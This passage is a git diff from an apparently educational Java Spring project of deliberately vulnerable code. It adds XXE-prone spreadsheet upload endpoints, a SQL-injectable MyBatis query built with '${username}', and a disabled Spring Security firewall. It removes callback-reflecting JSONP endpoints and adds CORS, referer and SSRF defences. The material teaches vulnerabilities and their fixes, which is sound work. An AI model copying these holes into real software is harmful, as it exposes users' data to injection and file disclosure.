%s!", user.getUserName())); + }catch (Exception e){ + e.printStackTrace(); + return ResponseEntity.ok("error"); + } + } + + /** + * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. + */ + @ProjectedPayload + public interface UserPayload { + @XBRead("//userName") + String getUserName(); + } + + public static void main(String[] args) { + } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java deleted file mode 100644 index 4cd680b3..00000000 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ /dev/null @@ -1,111 +0,0 @@ -package org.joychou.controller.jsonp; - -import com.alibaba.fastjson.JSON; -import com.alibaba.fastjson.JSONObject; - -import org.joychou.security.SecurityUtil; -import org.springframework.http.MediaType; -import org.springframework.security.web.csrf.CsrfToken; -import org.springframework.web.bind.annotation.*; - -import javax.servlet.http.HttpServletRequest; -import java.security.Principal; -import java.util.HashMap; -import java.util.Map; - - -/** - * @author JoyChou (joychou@joychou.org) @ 2018.10.24 - * https://github.com/JoyChou93/java-sec-code/wiki/JSONP - */ - -@RestController -@RequestMapping("/jsonp") -public class JSONP { - - private static String[] urlwhitelist = {"joychou.com", "joychou.org"}; - - - // get current login username - public static String getUserInfo(HttpServletRequest request) { - Principal principal = request.getUserPrincipal(); - - String username = principal.getName(); - - Map m = new HashMap<>(); - m.put("Username", username); - - return JSON.toJSONString(m); - } - - /** - * Set the response content-type to application/javascript. - *

- * http://localhost:8080/jsonp/referer?callback=test - */ - @RequestMapping(value = "/referer", produces = "application/javascript") - private String referer(HttpServletRequest request) { - String callback = request.getParameter("callback"); - return callback + "(" + getUserInfo(request) + ")"; - } - - /** - * Direct access does not check Referer, non-direct access check referer. - * Developer like to do jsonp testing like this. - *

- * http://localhost:8080/jsonp/emptyReferer?callback=test - */ - @RequestMapping(value = "/emptyReferer", produces = "application/javascript") - private String emptyReferer(HttpServletRequest request) { - String referer = request.getHeader("referer"); - - if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { - return "error"; - } - - String callback = request.getParameter("callback"); - return callback + "(" + getUserInfo(request) + ")"; - } - - /** - * Adding callback or cback on parameter can automatically return jsonp data. - * http://localhost:8080/jsonp/advice?callback=test - * http://localhost:8080/jsonp/advice?_callback=test - * - * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. - * Such as JSONOjbect or JavaBean. String type cannot be used. - */ - @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) - public JSONObject advice(HttpServletRequest request) { - return JSON.parseObject(getUserInfo(request)); - - } - - /** - * Safe code. - * http://localhost:8080/jsonp/sec?callback=test - */ - @RequestMapping(value = "/sec", produces = "application/javascript") - private String safecode(HttpServletRequest request) { - String referer = request.getHeader("referer"); - - if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { - return "error"; - } - - String callback = request.getParameter("callback"); - return callback + "(" + getUserInfo(request) + ")"; - } - - - /** - * http://localhost:8080/jsonp/getToken - * - * @return token {"token":"115329a7-3a85-4c31-9c02-02fa1bd1fdf8","parameterName":"_csrf","headerName":"X-XSRF-TOKEN"} - */ - @RequestMapping("/getToken") - public CsrfToken csrf(CsrfToken token) { - return token; - } - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java deleted file mode 100644 index 094070a4..00000000 --- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java +++ /dev/null @@ -1,15 +0,0 @@ -package org.joychou.controller.jsonp; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.web.bind.annotation.ControllerAdvice; -import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; - - -@ControllerAdvice -public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { - - // method of using @Value in constructor - public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) { - super(callback); // Can set multiple paramNames - } -} diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java new file mode 100644 index 00000000..3000d558 --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java @@ -0,0 +1,75 @@ +package org.joychou.controller.othervulns; + +import org.apache.poi.xssf.usermodel.XSSFCell; +import org.apache.poi.xssf.usermodel.XSSFRow; +import org.apache.poi.xssf.usermodel.XSSFSheet; +import org.apache.poi.xssf.usermodel.XSSFWorkbook; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; +import java.util.Iterator; + + +/** + * Desc: poi-ooxml xxe vuln code + * Usage: [Content_Type].xml http://localhost:8080/ooxml/upload + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: Update poi-ooxml to 3.15 or above. + * Vuln: 3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version. + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("ooxml") +public class ooxmlXXE { + + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + @ResponseBody + public String ooxml_xxe(MultipartFile file) throws IOException { + XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln + + XSSFSheet sheet = wb.getSheetAt(0); + XSSFRow row; + XSSFCell cell; + + Iterator rows = sheet.rowIterator(); + StringBuilder sbResult = new StringBuilder(); + + while (rows.hasNext()) { + + row = (XSSFRow) rows.next(); + Iterator cells = row.cellIterator(); + + while (cells.hasNext()) { + cell = (XSSFCell) cells.next(); + + if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) { + sbResult.append(cell.getStringCellValue()).append(" "); + } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { + sbResult.append(cell.getNumericCellValue()).append(" "); + } else { + logger.info("errors"); + } + } + } + + return sbResult.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java new file mode 100644 index 00000000..d3107c3e --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -0,0 +1,43 @@ +package org.joychou.controller.othervulns; + +import com.monitorjbl.xlsx.StreamingReader; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.multipart.MultipartFile; + +import java.io.FileInputStream; +import java.io.IOException; + + +/** + * Desc: xlsx-streamer xxe vuln code + * Usage: xl/workbook.xml + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: update xlsx-streamer to 2.1.0 or above + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("xlsx-streamer") +public class xlsxStreamerXXE { + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + public void xllx_streamer_xxe(MultipartFile file) throws IOException { + StreamingReader.builder().open(file.getInputStream()); + } + + + public static void main(String[] args) throws Exception { + StreamingReader.builder().open((new FileInputStream("poc.xlsx"))); + } +} diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index b9bc8341..0b8eb3b0 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -1,34 +1,11 @@ package org.joychou.dao; -import java.io.Serializable; +import lombok.Data; -public class User implements Serializable { - private static final long serialVersionUID = 1L; + +@Data +public class User { private Integer id; private String username; private String password; - - public Integer getId() { - return id; - } - public void setId(Integer id) { - this.id = id; - } - - - public String getUsername() { - return username; - } - public void setUsername(String username) { - this.username = username; - } - - - public String getPassword() { - return password; - } - public void setPassword(String password) { - this.password = password; - } - } diff --git a/src/main/java/org/joychou/filter/BaseCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java new file mode 100644 index 00000000..9987464f --- /dev/null +++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java @@ -0,0 +1,35 @@ +package org.joychou.filter; + +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; + +/** + * 由于CorsFilter和spring security冲突,所以改为下面的代码。 + */ +@Component +@Order(Ordered.HIGHEST_PRECEDENCE) +public class BaseCorsFilter extends CorsFilter { + + public BaseCorsFilter() { + super(configurationSource()); + } + + private static UrlBasedCorsConfigurationSource configurationSource() { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + config.addAllowedOrigin("joychou.org"); // 不支持 + config.addAllowedOrigin("http://test.joychou.me"); + config.addAllowedHeader("*"); + config.addAllowedMethod("GET"); + config.addAllowedMethod("POST"); + + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/corsFilter", config); + + return source; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java new file mode 100644 index 00000000..271a4562 --- /dev/null +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -0,0 +1,59 @@ +package org.joychou.filter; + + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +/** + * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 + * + * @author JoyChou @ 2019.12.19 + */ +@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") +public class OriginFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + + String origin = request.getHeader("Origin"); + logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); + + // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 + if (origin != null && SecurityUtil.checkURL(origin) == null) { + logger.error("[-] Origin check error. " + "Origin: " + origin + + "\tCurrent url:" + request.getRequestURL()); + response.setStatus(response.SC_FORBIDDEN); + response.getWriter().println("Invaid cors config by joychou."); + return; + } + + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); + response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION"); + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java similarity index 52% rename from src/main/java/org/joychou/security/HttpFilter.java rename to src/main/java/org/joychou/filter/ReferFilter.java index 2d6354e7..30a914f3 100644 --- a/src/main/java/org/joychou/security/HttpFilter.java +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -1,5 +1,4 @@ -package org.joychou.security; - +package org.joychou.filter; import javax.servlet.*; import javax.servlet.annotation.WebFilter; @@ -9,6 +8,7 @@ import org.apache.commons.lang.StringUtils; import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.AntPathMatcher; @@ -18,19 +18,18 @@ /** * Check referer for all GET requests with callback parameters. * If the check of referer fails, a 403 forbidden error page will be returned. - * + *

* Still need to add @ServletComponentScan annotation in Application.java. - * */ @WebFilter(filterName = "referFilter", urlPatterns = "/*") -public class HttpFilter implements Filter { +public class ReferFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } - private final Logger logger= LoggerFactory.getLogger(HttpFilter.class); + private final Logger logger = LoggerFactory.getLogger(this.getClass()); @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) @@ -38,34 +37,42 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; - String refer = request.getHeader("referer"); PathMatcher matcher = new AntPathMatcher(); boolean isMatch = false; - for (String uri: WebConfig.getReferUris()) { - if ( matcher.match (uri, request.getRequestURI()) ) { + + // 获取要校验Referer的Uri + for (String uri : WebConfig.getReferUris()) { + if (matcher.match(uri, request.getRequestURI())) { isMatch = true; break; } } - if (isMatch) { - if (WebConfig.getReferSecEnabled()) { - // Check referer for all GET requests with callback parameters. - for (String callback: WebConfig.getCallbacks()) { - if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){ - // If the check of referer fails, a 403 forbidden error page will be returned. - if (!SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist())){ - logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" - + "Referer: " + refer); - response.sendRedirect("https://test.joychou.org/error3.html"); - return; - } - } - } - } + if (!isMatch) { + filterChain.doFilter(req, res); + return; } + if (!WebConfig.getReferSecEnabled()) { + filterChain.doFilter(req, res); + return; + } + + // Check referer for all GET requests with callback parameters. + + String reqCallback = request.getParameter(WebConfig.getBusinessCallback()); + if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) { + // If the check of referer fails, a 403 forbidden error page will be returned. + if (SecurityUtil.checkURL(refer) == null) { + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + refer); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write(" Referer check error."); + response.flushBuffer(); + return; + } + } filterChain.doFilter(req, res); @@ -75,4 +82,4 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter public void destroy() { } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java new file mode 100644 index 00000000..d3bbf3a1 --- /dev/null +++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java @@ -0,0 +1,44 @@ +package org.joychou.impl; + + +import org.joychou.service.HttpService; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Service; +import org.springframework.web.client.RestTemplate; +import org.springframework.http.HttpMethod; + +import javax.annotation.Resource; + +@Service +public class HttpServiceImpl implements HttpService { + + @Resource + private RestTemplate restTemplate; + + @Resource + private RestTemplate restTemplateBanRedirects; + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttp(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: Disable followRedirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttpBanRedirects(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } +} diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java index 36c2f734..b88fb561 100644 --- a/src/main/java/org/joychou/mapper/UserMapper.java +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -5,6 +5,8 @@ import org.apache.ibatis.annotations.Select; import org.joychou.dao.User; +import java.util.List; + @Mapper public interface UserMapper { @@ -15,7 +17,14 @@ public interface UserMapper { @Select("select * from users where username = #{username}") User findByUserName(@Param("username") String username); + @Select("select * from users where username = '${username}'") + List findByUserNameVuln01(@Param("username") String username); + + List findByUserNameVuln02(String username); + List findByUserNameVuln03(@Param("order") String order); + User findById(Integer id); User OrderByUsername(); + } diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index ba9c3f7f..4f8ad327 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -7,15 +7,14 @@ import org.springframework.security.access.AccessDeniedException; import org.springframework.security.web.access.AccessDeniedHandler; - -import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; /** - * Design csrf access denied page. + * Csrf access denied page. * + * @author JoyChou */ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { @@ -23,14 +22,14 @@ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { @Override public void handle(HttpServletRequest request, HttpServletResponse response, - AccessDeniedException accessDeniedException) throws IOException, ServletException { + AccessDeniedException accessDeniedException) throws IOException { logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + "Referer: " + request.getHeader("referer")); response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden - response.getWriter().write("CSRF check failed by JoyChou."); // response contents + response.getWriter().write("403 forbidden by JoyChou."); // response contents } } diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java new file mode 100644 index 00000000..6d67825f --- /dev/null +++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java @@ -0,0 +1,52 @@ +package org.joychou.security; + +import org.apache.commons.lang.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.DefaultCorsProcessor; + +public class CustomCorsProcessor extends DefaultCorsProcessor { + + private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class); + + + /** + * 跨域请求,会通过此方法检测请求源是否被允许 + * + * @param config CORS 配置 + * @param requestOrigin 请求源 + * @return 如果请求源被允许,返回请求源;否则返回 null + */ + @Override + protected String checkOrigin(CorsConfiguration config, String requestOrigin) { + + // 支持checkOrigin原装的域名配置 + String result = super.checkOrigin(config, requestOrigin); + if (result != null) { + return result; + } + + if (StringUtils.isBlank(requestOrigin)) { + return null; + } + + return customCheckOrigin(requestOrigin); + } + + + /** + * 自定义校验requestOrigin + */ + private String customCheckOrigin(String requestOrigin) { + + if ( SecurityUtil.checkURL(requestOrigin) != null) { + logger.info("[+] Origin: " + requestOrigin ); + return requestOrigin; + } + logger.error("[-] Origin: " + requestOrigin ); + return null; + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java new file mode 100644 index 00000000..d7f12627 --- /dev/null +++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java @@ -0,0 +1,27 @@ +package org.joychou.security; + +import org.springframework.security.web.firewall.FirewalledRequest; +import org.springframework.security.web.firewall.HttpFirewall; +import org.springframework.security.web.firewall.RequestRejectedException; +import org.springframework.stereotype.Component; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +@Component +public class DisableSpringSecurityFirewall implements HttpFirewall { + + @Override + public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException { + return new FirewalledRequest(request) { + @Override + public void reset() { + } + }; + } + + @Override + public HttpServletResponse getFirewalledResponse(HttpServletResponse response) { + return response; + } +} diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java index 2a81afa2..d588818b 100644 --- a/src/main/java/org/joychou/security/LoginSuccessHandler.java +++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java @@ -1,15 +1,20 @@ package org.joychou.security; +import com.alibaba.fastjson.JSON; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.http.MediaType; import org.springframework.security.core.Authentication; import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import org.springframework.security.web.savedrequest.HttpSessionRequestCache; +import org.springframework.security.web.savedrequest.SavedRequest; + import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; - +import java.util.HashMap; +import java.util.Map; public class LoginSuccessHandler implements AuthenticationSuccessHandler { @@ -23,8 +28,24 @@ public void onAuthenticationSuccess(HttpServletRequest request, logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS."); - // google ajax and sendRedirect + SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response); + String originUrl = ""; + try { + originUrl = savedRequest.getRedirectUrl(); + } catch (Exception e) { + logger.debug(e.toString()); + } + + if (savedRequest != null) { + logger.info("Original url is: " + originUrl); + } + + Map content = new HashMap<>(); + content.put("code", "0"); + content.put("message", "Login success"); + content.put("redirectUrl", originUrl); + // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect response.setContentType(MediaType.APPLICATION_JSON_VALUE); - response.getWriter().write("{\"code\":0, \"message\":\"Login success\"}"); + response.getWriter().write(JSON.toJSONString(content)); } } diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java deleted file mode 100644 index 1dcbf591..00000000 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ /dev/null @@ -1,136 +0,0 @@ -package org.joychou.security; - -import java.net.HttpURLConnection; -import java.net.InetAddress; -import java.net.URI; -import java.net.URL; -import org.apache.commons.net.util.SubnetUtils; - -public class SSRFChecker { - - private static int connectTime = 5*1000; // 设置连接超时时间5s - - /** - * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 - * url只允许https或者http,并且设置默认连接超时时间。 - * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续… - * - * @param url check的url - * @return 安全返回true,危险返回false - */ - public static Boolean checkSSRF(String url) { - - HttpURLConnection connection; - String finalUrl = url; - try { - do { - // 判断当前请求的URL是否是内网ip - Boolean bRet = isInnerIPByUrl(finalUrl); - if (bRet) { - return false; // 内网ip直接return,非内网ip继续判断是否有重定向 - } - - connection = (HttpURLConnection) new URL(finalUrl).openConnection(); - connection.setInstanceFollowRedirects(false); - connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL - connection.setConnectTimeout(connectTime); - //connection.setRequestMethod("GET"); - connection.connect(); // send dns request - int responseCode = connection.getResponseCode(); // 发起网络请求 - if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) { - String redirectedUrl = connection.getHeaderField("Location"); - if (null == redirectedUrl) - break; - finalUrl = redirectedUrl; - // System.out.println("redirected url: " + finalUrl); - } else - break; - } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); - connection.disconnect(); - } catch (Exception e) { - return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。 - } - return true; // 默认返回true - } - - - /** - * 判断一个URL的IP是否是内网IP - * - * @return 如果是内网IP,返回true;非内网IP,返回false。 - */ - public static Boolean isInnerIPByUrl(String url) { - String host = url2host(url); - if (host.equals("")) { - return true; // 异常URL当成内网IP等非法URL处理 - } - - String ip = host2ip(host); - if(ip.equals("")){ - return true; // 如果域名转换为IP异常,则认为是非法URL - } - - return isInnerIp(ip); - } - - - /** - * 使用SubnetUtils库判断ip是否在内网网段 - * - * @param strIP ip字符串 - * @return 如果是内网ip,返回true,否则返回false。 - */ - private static boolean isInnerIp(String strIP){ - - String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8"}; - - for (String subnet: blackSubnetlist) { - SubnetUtils utils = new SubnetUtils(subnet); - if (utils.getInfo().isInRange(strIP)) { - return true; - } - } - - return false; - - } - - /** - * host转换为IP - * 会将各种进制的ip转为正常ip - * 167772161转换为10.0.0.1 - * 127.0.0.1.xip.io转换为127.0.0.1 - * - * @param host 域名host - */ - private static String host2ip(String host) { - try { - InetAddress IpAddress = InetAddress.getByName(host); // send dns request - return IpAddress.getHostAddress(); - } - catch (Exception e) { - return ""; - } - } - - /** - * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 - * - * @param url http的url - */ - private static String url2host(String url) { - try { - // 使用URI,而非URL,防止被绕过。 - URI u = new URI(url); - if (!url.startsWith("http://") && ! url.startsWith("https://")) { - return ""; - } - - return u.getHost(); - - } catch (Exception e) { - return ""; - } - - } -} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 65681836..fef14593 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -1,86 +1,172 @@ package org.joychou.security; +import org.joychou.config.WebConfig; +import org.joychou.security.ssrf.SSRFChecker; +import org.joychou.security.ssrf.SocketHook; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.URI; +import java.net.URISyntaxException; import java.net.URLDecoder; +import java.util.ArrayList; import java.util.regex.Pattern; + public class SecurityUtil { - private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ; + private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); + private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + - protected static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** - * 通过endsWith判断URL是否合法 + * Determine if the URL starts with HTTP. * - * @param url 需要check的url - * @param urlwhitelist url白名单list - * @return 安全url返回true,危险url返回false + * @param url url + * @return true or false */ - public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) { - if (null == url) { - return false; - } + public static boolean isHttp(String url) { + return url.startsWith("http://") || url.startsWith("https://"); + } + + + /** + * Get http url host. + * + * @param url url + * @return host + */ + public static String gethost(String url) { try { URI uri = new URI(url); + return uri.getHost().toLowerCase(); + } catch (URISyntaxException e) { + return ""; + } + } + + + /** + * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。 + * 优先判断黑名单,如果满足黑名单return null。 + * + * @param url the url need to check + * @return Safe url returns original url; Illegal url returns null; + */ + public static String checkURL(String url) { + + if (null == url){ + return null; + } + + ArrayList safeDomains = WebConfig.getSafeDomains(); + ArrayList blockDomains = WebConfig.getBlockDomains(); - if (!url.startsWith("http://") && !url.startsWith("https://")) { - return false; + try { + String host = gethost(url); + + // 必须http/https + if (!isHttp(url)) { + return null; } - String host = uri.getHost().toLowerCase(); - for (String whitelist: urlwhitelist){ - if (host.endsWith("." + whitelist)) { - return true; + // 如果满足黑名单返回null + if (blockDomains.contains(host)){ + return null; + } + for(String blockDomain: blockDomains) { + if(host.endsWith("." + blockDomain)) { + return null; } } - return false; - } catch (Exception e) { - return false; + // 支持多级域名 + if (safeDomains.contains(host)){ + return url; + } + + // 支持一级域名 + for(String safedomain: safeDomains) { + if(host.endsWith("." + safedomain)) { + return url; + } + } + return null; + } catch (NullPointerException e) { + logger.error(e.toString()); + return null; } } + /** - * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。 + * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。 + * + * @author JoyChou @ 2020-03-30 + * @param url 需要校验的url + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFByWhitehosts(String url) { + return SSRFChecker.checkURLFckSSRF(url); + } + + + /** + * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 + * 存在的问题: + * 1、会主动发起请求,可能会有性能问题 + * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 + * 3、TTL设置为0会被绕过 * * @param url check的url * @return 安全返回true,危险返回false */ - public static Boolean checkSSRF(String url) { - if (SSRFChecker.checkSSRF(url)) { - return true; - } else { - return false; - } + @Deprecated + public static boolean checkSSRF(String url) { + int checkTimes = 10; + return SSRFChecker.checkSSRF(url, checkTimes); } /** - * Suitable for: TTL isn't set to 0 & Redirect is forbidden. + * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 + * 存在问题: + * 1、TTL为0会被绕过 + * 2、使用重定向可绕过 * * @param url The url that needs to check. * @return Safe url returns true. Dangerous url returns false. */ public static boolean checkSSRFWithoutRedirect(String url) { - return !SSRFChecker.isInnerIPByUrl(url); + if(url == null) { + return false; + } + return !SSRFChecker.isInternalIpByUrl(url); } /** - * Check SSRF by host white list. - * This is the simplest and most effective method to fix ssrf vul. + * Check ssrf by hook socket. Start socket hook. * - * @param url The url that needs to check. - * @param hostWlist host whitelist - * @return Safe url returns true. Dangerous url returns false. + * @author liergou @ 2020-04-04 02:15 */ - public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) { - return checkURLbyEndsWith(url, hostWlist); + public static void startSSRFHook() throws IOException { + SocketHook.startHook(); } + /** + * Close socket hook. + * + * @author liergou @ 